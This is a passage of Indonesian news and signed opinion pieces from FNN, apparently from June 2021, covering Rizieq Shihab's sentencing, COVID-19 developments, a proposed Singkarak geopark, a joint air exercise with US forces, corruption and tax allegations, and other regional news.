sumbernya disisihkan oleh M Totoh dari nilai harga per paket sembako yang ditempelkan stiker bergambar Aa Umbara untuk dibagikan pada masyarakat Kabupaten Bandung Barat. Sementara M Totoh diduga telah menerima keuntungan sejumlah sekitar Rp2 miliar dan Andri juga diduga menerima keuntungan sejumlah sekitar Rp2,7 miliar. Selain itu, Aa Umbara juga diduga menerima gratifikasi dari berbagai dinas di Pemkab Bandung Barat dan para pihak swasta yang mengerjakan berbagai proyek di Kabupaten Bandung Barat sejumlah sekitar Rp1 miliar dan fakta ini masih terus akan didalami oleh tim penyidik KPK. (sws)

Kemarin, vonis Rizieq Shihab Hingga Sidak PPKM Mikro di Jakarta

Jakarta, FNN - Ragam peristiwa hukum terjadi di Indonesia, Kamis (24/7), mulai dari Rizieq Shihab divonis 4 tahun penjara atas kasus di RS UMMI Bogor, hingga Kapolri dan Panglima TNI sidak penerapan pemberlakuan pembatasan kegiatan masyarakat (PPKM) mikro di Jakarta. Berikut ini lima berita hukum menarik kemarin pilihan ANTARA: 1. Rizieq Shihab divonis empat tahun penjara kasus RS UMMI Bogor Majelis Hakim Pengadilan Negeri Jakarta Timur memvonis pidana empat tahun penjara kepada terdakwa Rizieq Shihab terkait kasus tes usap di Rumah Sakit UMMI Bogor, Jawa Barat. Selengkapnya disini 2. Pemerintah akan buat buku saku SKB Pedoman UU ITE bagi penegak hukum Pemerintah berencana membuat buku saku berisi Surat Kesepakatan Bersama (SKB) Pedoman Implementasi Undang-undang (UU) Nomor 19 Tahun 2016 atas perubahan kedua UU nomor 11 tahun 2008 tentang Informasi dan Transaksi Elektronik (ITE) bagi penegak hukum. Selengkapnya disini 3. Ruang administrasi Lapas Meulaboh Aceh terbakar Sebuah ruangan administrasi di Lembaga Pemasyarakatan Kelas II B Meulaboh berlokasi di kawasan Desa Peunaga Paya, Kecamatan Meureubo, Kabupaten Aceh Barat, pada Kamis jelang malam sekira pukul 18.30 WIB musnah terbakar. Selengkapnya disini 4. Keputusan Wali Kota Depok batasi aktivitas warga di malam hari Satuan Tugas Penanganan COVID-19 Kota Depok, Jawa Barat mengambil langkah Kebijakan Pengetatan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) yang dimuat dalam Keputusan Wali Kota Depok Nomor 443/249/Kpts/Dinkes/Huk/2021 dengan membatasi warga di malam hari untuk menghindari penularan COVID-19. Selengkapnya disini 5. Kapolri dan Panglima TNI sidak penerapan PPKM mikro di Jakarta Kapolri Jenderal Listyo Sigit Prabowo bersama Panglima TNI Marsekal TNI Hadi Tjahjanto melakukan inspeksi mendadak (sidak) penerapan pemberlakukan pembatasan kegiatan masyarakat (PPKM) skala mikro di tiga lokasi di DKI Jakarta, Kamis. (sws) Selengkapnya disini

Sumbar Siapkan Kawasan Danau Singkarak Jadi Geopark Nasional

Padang, FNN - Kawasan Danau Singkarak yang terbentang di Kabupaten Solok dan Tanah Datar, Sumatera Barat dipersiapkan menjadi Geopark Nasional untuk melindungi warisan geologi, keanekaragaman hayati serta mendukung perekonomian masyarakat melalui sektor pariwisata. "Danau Singkarak merupakan sentral patahan Sumatera, berpotensi untuk dijadikan Geopark. Kita memproyeksikannya menjadi inti dari Geopark Ranah Minang," kata Wakil Gubernur Sumbar Audy Joinaldy di Padang, Jumat. Ia mengatakan target terakhir dari pengusulan itu adalah menjadi Geopark Dunia yang diakui oleh UNESCO. Dengan demikian akan ada branding terhadap Geopark Singkarak di level internasional, harapannya banyak pengunjung yang datang dari mancanegara. Namun, untuk mencapai hal itu butuh proses yang panjang, sehingga akan dilakukan secara bertahap. "Yang penting sekarang kita sudah melakukan langkah awal. Ke depan secara bertahap kita lanjutkan," ujar Audy. Menurutnya, berdasarkan data yang didapatkan beberapa kawasan yang ditetapkan menjadi Geopark oleh UNESCO memberikan dampak positif bagi perekonomian setempat. Kenaikan jumlah pengunjung dan pendapatan asli daerah (PAD) bisa mencapai 500 persen dalam enam hingga sepuluh tahun. Beberapa Goepark, seperti Yuntaishan di China bisa menjadi rujukan. Pada tahun 1999 kota ini dikenal miskin dan tercemar, namun pada 2011 terjadi transformasi Yunthaisan menjadi Geopark, yang kini mampu meningkatkan pendapatan hingga 50 kali lipat. Demikian juga dengan Geopark Gunung Sewu yang jumlah kunjungan wisatawan naik 500 persen dalam enam tahun serta PAD naik 800 persen. Ia mengatakan saat ini di Sumbar sudah ada tiga Geopark Nasional, yaitu Geopark Sianok Maninjau, Sawahlunto dan Geopark Sijunjung. Sementara itu, ada empat Geopark Nasional yang segera diusulkan, yaitu Singkarak, Harau, Talamau dan Solok Selatan. Selain itu, juga ada kawasan yang berpotensi menjadi Geopark ,yaitu Dharmasraya dan Pasaman. Kekayaan potensi geologis di Sumbar terjadi karena berada di jalur pertemuan lempeng Eurasia dan Hindia-Australia serta dilewati oleh jalur patahan besar Sumatera yang menyebabkan terbentuknya keragaman formasi batuan dan bentang alam. Bentang alam yang ada di Sumbar merupakan potensi warisan geologi yang memiliki keunikan tidak ditemukan di belahan dunia. Keunikan geologi Sumbar adalah patahan geologi yang menjadi poros/sumbu fenomena bentang alam berupa gunung api, danau tektonik, danau vulkanik dan lembah patahan yang memanjang dari Kabupaten Solok Selatan sampai Kabupaten Pasaman. "Data yang kita punya, Sumbar punya 870.000 jenis tanaman, 200 jenis mamalia, 465 tanaman obat, dan 21 jenis endemik," katanya. Bupati Solok Epyadi Asda menyatakan dukungannya terhadap upaya menjadikan Singkarak menjadi Geopark Nasional yang diharapkan menjadi salah satu tujuan wisata utama di Sumbar. Ia menilai dengan jumlah kunjungan wisatawan yang meningkat akan memberikan dampak positif pada perekonomian masyarakat setempat. Sementara itu, Sekretaris Deputi Bidang Koordinasi Pariwisata dan Ekonomi Kreatif Kemmenko Marves, Rustam Effendi saat berkunjung ke Solok, Kamis (24/6) mengatakan untuk mewujudkan Geopark Singkarak dibutuhkan sinergi semua pihak (pemerintah, perguruan tinggi, lembaga peneliti, swasta, pegiat wisata, masyarakat). Saat ini di Indonesia ada enam Geopark Dunia (UNESCO), di antaranya Gunung Batur Bali, Gunung Sewu Yogyakarta, Ciletuh Pelabuhan Ratu Jawa Barat, Gunung Rinjani Lombok, Kaldera Toba dan Belitung. Selain itu, ada 15 Geopark Nasional yang tiga diantaranya di Sumbar. "Karena Singkarak ini baru merintis, jalurnya diusulkan untuk geopark nasional dulu. Usulan dilakukan oleh pengelola geopark sesuai rekomendasi Gubernur. Setelah itu dibutuhkan rekomendasi Komite Nasional Geopark Indonesia. "Kami siap mendukung untuk mewujudkan upaya Singkarak menjadi Geopark Nasional," ucapnya. (mth)

Kasau Tinjau Latihan Bersama TNI AU dengan Amerika Serikat

Pekanbaru, FNN - Kepala Staf Angkatan Udara (Kasau) Marsekal TNI Fadjar Prasetyo meninjau pelaksanaan latihan bersama antara TNI AU dengan United State (US) Pacific Air Force (PACAF) Amerika Serikat, Sandi Cope West 2021 di Lanud Roesmin Nurjadin Pekanbaru. "Pelaksanaan latihan Cope West pada tahun berikutnya diharapkan agar direncanakan dengan mempertimbangkan berbagai platform lainnya, salah satunya adalah materi air refueling yang menggunakan pesawat tanker," kata Kasau Marsekal TNI Fadjar Prasetyo dalam keterangannya di Pekanbaru, Jumat. Selain itu, Kasau juga menekankan menjadikan latihan tersebut kesempatan guna meningkatkan kemampuan, termasuk juga dalam membina penerbang-penerbang muda TNI AU yang butuh pengalaman dalam melaksanakan suatu misi operasi udara. Kasau juga meninjau ruang Base Central Debrief System (BCDS). BCDS merupakan fasilitas latihan yang berfungsi memantau seluruh pergerakan pesawat saat melaksanakan latihan pertempuran di udara, termasuk saat pesawat melaksanakan penembakan, menggunakan roket, bom, dan melihat akurasi dari hasil penembakan tersebut. Danlanud Roesmin Nurjadin Marsma TNI Andi Kustoro menjelaskan bahwa BCDS juga mampu menampilkan secara audio visual saat pesawat sedang melaksanakan latihan pertempuran udara secara real time. Fasilitas latihan ini turut digunakan saat Latma Cope West 2021 yang telah berlangsung sejak 14 Juni 2021. "Melalui layar monitor di ruang BCDS, ditampilkan jalannya latihan pertempuran udara, sebagai bahan evaluasi pada saat debrief yang diikuti oleh peserta latihan," kata Marsma TNI Andi Kustoro. Direktur Latihan dari TNI AU Kolonel Pnb Jajang Setiawan memaparkan sejarah penyelenggaraan latihan cope west pertama di Medan pada tahun 1995, hingga Cope West 2021 di Lanud Roesmin Nurjadin saat ini. Jajang juga Danwing 6 Lanud Rsn menyebutkan sejumlah materi latihan, di antaranya berkaitan dengan Basic Fighter Manuver (BFM), Air Combat Manuver (ACM), dan Air Combat Tactic (ACT). Selain melaksanakan materi latihan, Cope West 2021 juga melaksanakan latihan pertempuran udara jarak jauh atau Beyond Visual Range (BVR). Materi ACT dengan BVR ini, kata dia, sudah dapat dilaksanakan karena pesawat F-16 TNI AU yang telah upgrade melalui program Falcon Star E_MLU telah didukung dengan teknologi dan persenjataan rudal air to air yang memadai. Kolonel Jajang menegaskan bahwa latihan tersebut tetap menerapkan protokol kesehatan COVID-19, mulai dari kedatangan maupun selama latihan berlangsung. Ia mengatakan bahwa latihan bersama Cope West merupakan ajang berlatih, berbagi ilmu dan berbagi pengalaman antara penerbang tempur pesawat F-16 TNI AU dan US PACAF. TNI AU, kata dia, melibatkan sejumlah pesawat F-16 dari dua skadron tempurnya, Skadron Udara 3, Lanud Iswahjudi, dan Skadron Udara 16 Lanud Roesmin Nurjadin. "Sementara itu, USAF melibatkan 6 unit F-16 yang berasal dari 13th Fighter Squadron US PACAF yang berpangkalan di Misawa, Jepang," katanya. (mth)

Dosen IPB Temukan Inovasi Keju dari Bahan Nabati

Jakarta, FNN - Dosen IPB University dari Departemen Teknologi Industri Pertanian Prof Khaswar Syamsu dan mahasiswanya menghasilkan inovasi keju dari bahan nabati yang bisa dinikmati oleh masyarakat yang alergi susu dan vegetarian. “Orang yang ingin diet juga menghindari mengonsumsi keju karena mengandung lemak. Keju diolah dari protein, sedangkan protein terdapat pada hewani dan nabati. Pembuatan keju bisa juga menggunakan protein dari kedelai,” ujar Prof Khaswar Syamsu, dalam keterangan tertulisnya di Jakarta, Jumat.. Prof Khaswar Syamsu beserta mahasiswa dari departemen yang sama, Kartika Elsahida membuat inovasi. Mereka membuat keju nabati dari susu kedelai yang memanfaatkan bakteri asam laktat (BAL) yang telah diisolasi dari dadih. Pembuatan keju nabati menggunakan dua jenis bahan baku, yaitu susu kedelai segar dan susu kedelai bubuk. “Prinsip pembuatan keju pada umumnya sama seperti di industri, yaitu protein akan menggumpal pada titik isoelektrik yang dicapai,” katanya. Lebih lanjut sosok yang saat ini menjabat sebagai Kepala Pusat Sains Halal (PSH) IPB University itu mengatakan hasil penelitian menunjukkan konsentrasi perisa keju sebesar 0,9 persen dengan jumlah inokulum sebanyak 15 persen merupakan formulasi terbaik dalam pembuatan keju. “Keju ini juga termasuk rendah lemak (low fat) karena kadar lemaknya sebesar 0,36 persen. Keju tersebut memiliki umur simpan lebih lama apabila disimpan di kulkas, “ ujar Guru Besar Fakultas Teknologi Pertanian IPB University itu. Keju nabati, kata dia, termasuk kategori keju semi keras (semi hard cheese) dan skim cheese. Dengan formulasi itu, aroma keju yang dihasilkan tidak berbeda jauh dengan keju di pasaran dengan tingkat kepercayaan 95 persen. Aroma itu berasal dari konsentrasi perisa agar menyerupai aroma keju dari susu hewani. Kalau keju itu siap dikomersialisasikan, maka bisa menyubstitusi bahan baku dari susu hewani. “Bahkan keju ini berpotensi diekspor ke luar negeri, seperti India, dimana sebagian masyarakatnya adalah vegan,” ujar dia. Selain aman untuk orang yang diet dan penderita alergi, keunggulan inovasi ini adalah menggunakan starter bakteri yang berasal dari penganan khas daerah. Inovasi keju berbasis kedelai hasil inovasi Guru Besar Rekayasa Bioproses IPB University itu telah diterbitkan dalam buku 100 Inovasi Indonesia pada Tahun 2008 oleh Business Innovation Center (BIC). Inovasi tersebut juga telah dipatenkan. (sws)

Pengamat: Antam Harus Buktikan Tuduhan Penggelapan Pajak Impor Emas

Jakarta, FNN - Pengamat Badan Usaha Milik Negara Toto Pranoto menyarankan PT Aneka Tambang Tbk (Antam) untuk membuktikan tuduhan penggelapan pajak impor emas senilai Rp47,1 triliun yang dihembuskan anggota Komisi III DPR RI Arteria Dahlan. "Tuduhan soal penggelapan pajak ini harus bisa dibuktikan dan Antam harus transparan soal ini," kata Toto dalam keterangannya di Jakarta, Jumat. Toto menilai Antam sebagai perusahaan pelat merah yang bergerak dalam bisnis mineral akan menjaga reputasi perseroan dengan baik. Menurutnya, apabila reputasi tersebut hancur maka nasib harga sahamnya juga ikut terjerembab. "Pihak Bea Cukai sudah buat klarifikasi soal ini, jadi mudah-mudahan persoalan clear," kata Toto. Dalam berita sebelumnya, Anggota Komisi III DPR RI Arteria Dahlan meminta Kejaksaan Agung mengusut tuntas skandal impor emas senilai Rp47,1 triliun melalui Bandara Internasional Soekarno-Hatta di Tanggerang, Banten. Pernyataan itu disampaikan Dahlan saat rapat kerja bersama Jaksa Agung ST Burhanuddin di Gedung Parlemen, Jakarta, Senin (16/6/2021). Dia menjelaskan laporan direktur Penindakan dan Penyidikan Direktorat Jenderal Bea dan Cukai Kementerian Keuangan bahwa impor emas yang seharusnya dikenakan bea masuk lima persen justru mendapatkan nol persen yang berpotensi merugikan negara sebesar Rp2,9 triliun. Sementara itu, SVP Corporate Secretary Antam Yulan Kustiyan menepis tuduhan bahwa perseroannya tak membayar bea masuk impor emas tersebut. Menurutnya, Antam telah memenuhi ketentuan dalam impor emas termasuk kewajiban membayar bea masuk kepada pemerintah. Dia menjelaskan perseroan memang melakukan impor emas jenis gold casting bar atau emas hasil tuangan dengan berat satu kilogram untuk bahan baku produk logam mulia ukuran 0,5 sampai 100 gram. (mth)

Pangdam Jaya Pimpin Upacara Pelepasan Jenazah Nakes RSD Wisma Atltet

Jakarta, FNN - Panglima Daerah Militer Jakarta Raya (Pangdam Jaya) Mayjen TNI Mulyo Aji memimpin upacara penghormatan dan pelepasan jenazah seorang tenaga kesehatan Rumah Sakit Darurat COVID-19 (RSDC) Wisma Atlet yang gugur akibat COVID-19 di Jakarta, Kamis. Acara penghormatan itu, yang berlangsung di halaman Tower I RSDC Wisma Atlet pada Kamis malam, diisi dengan kegiatan menyalakan lilin sebagai simbol duka dan shalat jenazah. “Hari ini kita telah kehilangan seorang tenaga kesehatan yang berdedikasi tinggi, saudari Liza Putrie Noviana, AMK. Almarhum lahir di Surakarta, 8 November 1987,” kata Mayjen TNI Mulyo Aji usai acara penghormatan dan pelepasan jenazah. Liza, tenaga kesehatan pertama di RSDC Wisma Atlet yang gugur akibat COVID-19, meninggalkan seorang suami dan dua orang anak, sebut Pangdam. Dalam kesempatan itu, kepada wartawan, ia menerangkan Liza telah masuk ke Instalasi Gawat Darurat (IGD) RSDC Wisma Atlet sejak 3 Juni 2021. Namun, kondisinya terus menurun ditunjukkan dengan turunnya angka saturasi oksigen, demam, sesak napas, dan batuk berdahak. Mendiang Liza juga sempat dirawat di ruangan HCU dan ICU, serta sempat menggunakan ventilator. Almarhum, Pangdam menyebut, sempat dirujuk dari RSDC Wisma Atlet ke RSU Persahabatan pada 8 Juni 2021 sampai akhirnya Liza wafat pada 24 Juni 2021. Usai acara penghormatan, jenazah Liza pun dibawa menggunakan ambulans untuk dimakamkan kemungkinan di daerah tempat tinggalnya di Cilacap, Jawa Tengah. Kasus positif COVID-19 harian di Indonesia per 24 Juni 2021 mencapai angka tertinggi, yaitu 20.574 orang, kata Satuan Tugas (Satgas) Penanganan COVID-19, Kamis. Penambahan terbanyak untuk kasus positif COVID-19 terjadi di DKI Jakarta (7.505), disusul dengan Jawa Tengah (4.384), Jawa Barat (3.053), Jawa Timur (945), DI Yogyakarta (791), dan Banten (599). Sejak kemunculan kasus COVID-19 pertama di Indonesia pada 2020 sampai Kamis (24/6), total pasien positif mencapai 2.053.995 orang. Dari jumlah itu, 1.826.504 di antaranya sembuh dan 55.949 lainnya meninggal dunia. Per 24 Juni 2021, secara akumulatif, jumlah kasus positif COVID-19 terbanyak ada di DKI Jakarta (494.462), disusul Jawa Barat (356.682), Jawa Tengah (239.818), Jawa Timur (166.831), Kalimantan Timur (74.632), Riau (68.779), dan Sulawesi Selatan (63.390). (sws)

Vonis Empat Tahun IB HRS & Ulama Empat Madzhab Yang Dipenjara Rezim

by Tarmidzi Yusuf Bandung FNN- Tantangan Jaksa Penuntut Mmum (JPU) dijawab kemarin oleh pendukung dan pencinta IBE HAER ES. Massa menyemut. Gegap gempita memenuhi beberapa ruas jalan mengarah ke PN Jakarta Timur. Massa diblokade aparat keamanan sehingga tidak bisa mendekat ke area PN Jakarta Timur. Vonis terhadap IBE HAER ES telah dijatuhkan hakim. Empat tahun penjara. Kurang dua tahun dari tuntutan jaksa. Sangat tidak adil. Bandingkan dengan hukuman penjara terhadap koruptor yang merugikan negara dan rakyat. Sebut saja vonis terhadap koruptor Djoko Tjandra dan Jaksa Pinangki. IBE HAER ES dinyatakan bersalah menyebarkan berita bohong terkait hasil tes swab dalam kasus RS Ummi hingga menimbulkan keonaran. Keonaran yang mana? Harusnya dibuktikan dengan fakta terjadinya keonaran. Bukan opini dan persepsi hakim. Bagaimana dengan janji-janji politik Jokowi ketika Pilpres 2014 dan 2019? Banyak janji-janji politik Jokowi tidak ditunaikan. Misalnya, buyback Indosat, kurs rupiah, ekonomi meroket dan masih banyak janji-janji lain yang tidak dipenuhi Jokowi. Apakah itu bukan kebohongan karena tidak menepati janji? Kebohongan yang menimbulkan keonaran dan keterbelahan bangsa. IBE HAER ES dipenjara hingga tahun 2024. Sesuai prediksi. Isu presiden tiga periode dan isu dekrit presiden perpanjangan masa jabatan presiden, anggota MPR/DPR/DPD memperkuat dugaan pemenjaraan IBE HAER ES untuk memuluskan agenda politik rezim. Dipenjaranya IBE HAER ES menambah daftar para ulama yang dipenjara oleh rezim yang berkuasa. Sebelumnya ulama besar Indonesia, Haji Abdul Malik Karim Amrullah atau lebih kita kenal dengan Buya Hamka pernah dipenjara oleh Soekarno. Buya Hamka dipenjara tahun 1964 dua tahun empat bulan. Pemerintah menuduh Buya Hamka telah melanggar UU Anti-Subversif Pempres No. 11. Buya Hamka dituduh terlibat merencanakan pembunuhan terhadap Presiden Soekarno. Demikian pula dengan empat imam mazhab pun pernah dipenjara. Termasuk juga Syaikhul Islam Ibnu Taimiyyah. Mereka dipenjara oleh rezim yang berkuasa. Imam Abu Hanifah dicambuk dan dipenjara di era penguasa al-Manshur pada zaman Dinasti Abbasiyah. Dia ditahan karena menolak dijadikan qadhi. Sebelum itu, di zaman Dinasti Umayyah, Imam Abu Hanifah juga pernah ditahan saat Marwan bin Muhammad menjadi penguasa, karena menolak tawaran menjadi hakim. Imam Malik pernah dihukum gubernur Kota Madinah pada tahun 147H/764M. Beliau dihukum karena mengeluarkan fatwa bahwa hukum talaq yang akan dilaksanakan penguasa tidak sah. Lalu Imam Malik dicambuk karena melawan perintah Abu Ja`far al-Manshur, karena meriwayatkan hadist bahwa tidak ada talak bagi orang yang dipaksa. Imam Syafii dituding mendukung Syiah oleh orang yang dengki dengan dirinya, yaitu Mutharrif bin Mazin. Mutharrif memprovokasi Harun al-Rasyid untuk menangkap Imam Syafii dan orang-orang Alawiyin. Mutharrif memfitnah dan melaporkan pada Khalifah Harun bin Rasyid, lalu menyebut Imam Syafii terlibat dalam rencana merongrong kekuasaan Harun al-Rasyid. Kemudian Imam Syafii ditangkap. Tangan dan kakinya diikat dengan rantai, lalu diarak di jalanan sebagai sosok yang tertuding melawan kekuasaan negara. Namun Khalifah Harun al-Rasyid adalah sosok yang cerdas dan bijaksana. Tuduhan bahwa beliau seorang yang terlibat sebagai bagian dari Syiah Rafidhah yang diduga merencanakan konspirasi perlawanan tidak terbukti kemudian dilepaskan. Imam Ahmad bin Hanbal pernah dicambuk dan dipenjara selama 30 bulan oleh Khalifah Makmun karena tidak mengakui bahwa al-Quran adalah makhluk seperti yang diyakini aliran mu'tazilah. Khalifah al-Makmun saat itu menyukai bidang filsafat dan mulai memaksakan pandangan bahwa al-Quran adalah makhluk, lantas para ulama dipaksa mengikuti pemikirannya. Namun Imam Ahmad bin Hanbal menolak mengikuti pemikiran al-Makmun dan meyakini al-Quran adalah kalamullah dan bukan makhluk. Setelah itu Imam Ahmad dipenjara. Lalu bebas setelah Khalifah al-Mutawakkil menjalankan kekuasaan. Terakhir, Syaikhul Islam Ibnu Taimiyah pernah dua kali dipenjara di Kairo lalu diasingkan ke Alexandria karena perbedaan pendapat dengan ulama lain yang sezaman kala itu. Setelah bebas, Syaikhul Islam Ibnu Taimiyah berangkat ke Syam dan mengajar di Damaskus. Kembali dipenjara selama lima bulan karena berbeda pendapat dalam hal persoalan sumpah dengan talak. Dipenjaranya IBE HAER ES bukan hal baru. Bagi pejuang kebenaran, penjara itu lebih baik dan berharga daripada mengikuti rezim dzalim. Periksa saja janji-janji kampanye capres sejak periode pertama. Berapa persern yang terealisasi? Berapa banyak yang hanya janji-janji kosong? Yusuf berkata, “Wahai Tuhanku! Penjara lebih aku sukai daripada memenuhi ajakan mereka. Jika aku tidak Engkau hindarkan dari tipu daya mereka, niscaya aku akan cenderung untuk (memenuhi keinginan mereka) dan tentu aku termasuk orang yang bodoh.” (QS. Yusuf: 33) Penulis adalah Pegiat Da’wah dan Sosial.

LPSK Kecam Oknum Polisi yang Perkosa Gadis 16 Tahun

Jakarta, FNN.- Wakil Ketua Lembaga Perlindungan Saksi dan Korban (LPSK) Edwin Partogi Pasaribu mengecam aksi bejat pemerkosaan remaja 16 tahun di dalam Polsek yang diduga dilakukan oleh oknum polisi Briptu II anggota Polsek Jailolo Selatan Kabupaten Halmahera Barat. "Bukannya menjadi pelindung, ulah oknum itu membuat citra Polri tercoreng. Markas polisi yang seharusnya aman, kini malah terkesan menakutkan bagi masyarakat," kata dia melalui keterangan tertulis yang diterima di Jakarta, Kamis. Edwin mendesak agar dilakukan proses hukum atas perbuatan oknum anggota polisi tersebut. Penegakan hukum juga harus dilakukan secara transparan. Hal ini penting agar kepercayaan masyarakat dan kewibawaan Polri sebagai pelindung dan pengayom masyarakat dapat kembali pulih. LPSK, kata Edwin, siap membantu penyidik dalam proses hukum khususnya memberikan perlindungan terhadap saksi-saksi pada kasus perkosaan tersebut. "Pihak-pihak yang memiliki informasi dan mengetahui kejadian itu dapat bersuara membantu penyidik, tak perlu takut adanya intimidasi atau ancaman," ucap dia. Ia menegaskan LPSK akan bekerja sama dengan pihak kepolisian melakukan pemulihan terhadap korban. Apalagi, korban masih di bawah umur. Trauma dan ketakutan sangat mungkin mendera korban. "Pelaku adalah aparat negara dan lokasi kejadian di rumah negara," kata Edwin. Dalam waktu dekat LPSK akan menurunkan tim untuk menemui korban melakukan asesmen medis dan psikologis serta berkoordinasi dengan Kapolda Maluku Utara untuk mengetahui perkembangan proses hukumnya. Sebagaimana amanat Undang-Undang Perlindungan Saksi dan Korban, korban dapat mengakses layanan dari negara melalui LPSK antara lain perlindungan fisik, rehabilitasi psikologis dan psikososial. Tidak itu saja, korban juga dapat mengajukan tuntutan ganti rugi (restitusi) terhadap pelaku yang perhitungannya nanti dilakukan oleh LPSK. (sws)

Ketua DPD Akan Tindaklanjuti Temuan BPK

Jakarta, FNN - Ketua DPD RI AA LaNyalla Mahmud Mattalitti menyatakan siap menindaklanjuti laporan hasil pemeriksaan atas laporan keuangan pemerintah pusat 2020 dan ikhtisar hasil pemeriksaan semester II 2020 dari Badan Pemeriksa Keuangan (BPK). "Laporan dan masukan dari BPK akan menjadi bahan dalam menyusun pertimbangan DPD RI atas rancangan undang-undang yang berkaitan dengan APBN," kata dia melalui keterangan tertulis yang diterima di Jakarta, Kamis. LaNyalla meminta seluruh anggota dan alat kelengkapan DPD RI untuk menjadikan laporan yang disampaikan BPK RI sebagai catatan penting dalam pelaksanaan tugas-tugas konstitusional. "Diharapkan hal ini dapat menjadi bahan dalam bersinergi dengan pemerintah daerah khususnya dalam menindaklanjuti rekomendasi BPK RI," kata dia. Berdasarkan ketentuan Peraturan DPD RI Nomor 2 Tahun 2019 tentang Tata Tertib Pimpinan DPD RI menugaskan Komite IV dan Badan Akuntabilitas Publik untuk menindaklanjuti hasil pemeriksaan BPK. Kemudian, hal itu berdasarkan Pasal 212 ayat 4 Peraturan DPD RI Nomor 2 Tahun 2019 tentang Tata Tertib Pimpinan DPD RI menugaskan Komite IV untuk membahas hasil pemeriksaan BPK RI. Selanjutnya, berdasarkan Pasal 213 ayat 1 Laporan Hasil Pembahasan Komite IV sebagaimana dimaksud, apabila terdapat indikasi kerugian negara, pimpinan DPD RI meneruskan laporan hasil pembahasan tersebut kepada BAP untuk ditindak lanjuti, ujarnya. Sementara itu, Ketua BPK RI Agung Firman Sampurna mengatakan pemeriksaan laporan keuangan pemerintah pusat dilakukan untuk memberikan opini atas kewajaran laporan keuangan sesuai dengan standar akuntasi pemerintah, kecukupan pengungkapan, kepatuhan terhadap perundang-undangan, dan efektivitas sistem pengendalian intern. Dari hasil pemeriksaan laporan keuangan pemerintah pusat 2020, BPK RI memberikan Opini Wajar Tanpa Pengecualian (WTP) terhadap 84 laporan keuangan kementerian/lembaga dan satu laporan keuangan bendahara umum. "Selain itu, opini wajar dengan pengecualian diberikan kepada dua laporan keuangan kementerian/lembaga," ujar dia. BPK menyampaikan hasil pemeriksaan atas penanganan pandemi COVID-19 dan pemulihan ekonomi nasional pada pemerintah pusat, pemerintah daerah, BUMN, dan badan lainnya. Hasil pemeriksaan BPK mengungkapkan 5.070 temuan yang memuat 6.970 permasalahan sebesar Rp16,62 miliar meliputi 1.956 atau setara 28 persen permasalahan kelemahan Sistem Pengendalian Intern (SPI). Kemudian 2.026 atau 26 persen permasalahan ketidakpatuhan terhadap ketentuan peraturan perundang-undangan sebesar Rp12,64 miliar serta 2.988 atau 43 persen permasalahan ketidakhematan, ketidakefisienan, dan ketidakefektifan sebesar Rp3,98 miliar. (sws)

Vonis HRS 4 Tahun: Komisi Yudisial Perlu Memeriksa Majelis Hakim

By Asyari Usman Medan, FNN - Habib Rizieq Syihab (HRS) dihukum 4 tahun penjara. Karena diyakini berbohong soal hasil tes swab di RS Ummi Bogor. Adilkah hukuman ini? Tampaknya, inilah hukuman berbohong yang terberat dalam sejarah manusia modern. Karena itu, vonis ini perlu diuji. Sangat wajar diuji tuntas oleh para pakar hukum pidana, para praktisi hukum, para mantan hakim yang dikenal berintegritas. Dan terutama wajib diuji oleh Komisi Yudisial (KY) sebagai lembaga yang mengawasi kinerja para hakim di Indonesia. KY perlu berdiskusi dengan para hakim itu untuk mendapatkan gambaran tentang rasa keadilan yang mereka pahami. Menjatuhkan hukuman sangat banyak mengandalkan rasa keadilan. Kalau rasa keadilan tidak terpenuhi, maka keresahanlah yang akan muncul. Keresahan merupakan pertanda penolakan. Pada gilirannya, penolakan bisa berkembang menjadi protes. Di mana pun di dunia ini, rasa keadilan yang terusik selalu menyulut aksi protes. Terjadi secara meluas. Dan sering pula masif. Dalam bentuk lain, penegakan keadilan oleh seorang polisi Amerika Serikat yang menyebabkan George Floyd tewas karena dihimpit lehernya, menyulut protes luas sekitar setahun yang lalu. Tidak saja di AS melainkan di bagian-bagian lain dunia. Publik melihat Floyd diperlakukan tidak adil. Meskipun itu bukan vonis pengadilan. Polisi dicap brutal. Kejam dan sadis. Tindak pidana yang dituduhkan kepada Floyd, yaitu diduga membayar rokok dengan uang dollar palsu, menjadi tidak relevan. Publik menyorot tajam rasa keadilan. Rakyat Indonesia hari ini pasti terperangah. Kisruh basil tes swab yang sangat sepele itu bisa menyebabkan HRS mendekam di penjara selama empat tahun. Habib Rizieq memang masih bisa naik banding. Tetapi, kesan pertama tentang vonis 4 tahun untuk “kejahatan” yang dirasakan tidak berat itu adalah bahwa majelis hakim PN Jakarta Timur bagaikan tidak bebas dalam menyusun “legal opinion” (opini hukum) yang antara lain berbasis “conscience” (nurani). Vonis 4 tahun penjara ini sulit dicerna akal sehat. Karena itu, tidak mengherankan kalau publik akan menunjukkan reaksi penolakan.[] (Penulis wartawan senior FNN.co.id)

Pakar: Kasus COVID-19 di India Menurun Sangat Cepat

Jakarta, FNN - Pakar kesehatan dari Universitas Indonesia Prof Tjandra Yoga Aditama mengemukakan penurunan kasus COVID-19 di India berlangsung sangat cepat dalam kurun satu bulan terakhir. "Waktu kasus di India meningkat tajam, maka sudah banyak bahasan yang dilakukan. Tapi kita perlu tahu juga bahwa India juga berhasil dengan amat cepat menurunkan kasusnya," kata Direktur Organisasi Kesehatan Dunia (WHO) Asia Tenggara periode 2018-2020 itu dalam keterangan tertulis yang diterima di Jakarta, Kamis. Menurut Guru Besar Paru Fakultas Kedokteran Universitas Indonesia itu kasus COVID-19 harian di India naik 40 kali dari 9.121 orang pada 15 Februari 2021 menjadi tertinggi 414.188 kasus per hari pada 6 Mei 2021. India, katanya, lalu melakukan berbagai upaya maksimal sehingga angka kasus baru terus turun dengan tajam. "Pada Selasa (22/6), laporan menunjukkan 50.848 kasus baru dalam seharinya, jadi turun delapan kali lipat dalam waktu sebulan saja," katanya. Tjandra menyampaikan sejumlah upaya India untuk mengendalikan peningkatan kasus yang tinggi berdasarkan kaidah umum. Pertama, ketika kasus meningkat tajam di India, beberapa daerah atau negara bagian melakukan berbagai tingkat pembatasan sosial. "Ada yang dengan amat memperketat 3M (memakai masker, mencuci tangan dan menjaga jarak), ada yang membatasi kegiatan dengan pemberlakuan jam malam, dan ada juga yang lockdown sebagian atau parsial dan ada juga yang total penuh sampai beberapa waktu," katanya. Kebijakan itu, katanya, kemudian dianalisa dengan menghubungkan pola pergerakan penduduk pada saat pembatasan kegiatan, bahkan sampai lockdown dengan penurunan jumlah kasus dari hari ke hari, dalam bentuk movement restriction and mobility change. "Tentu pembatasan kegiatan sosial 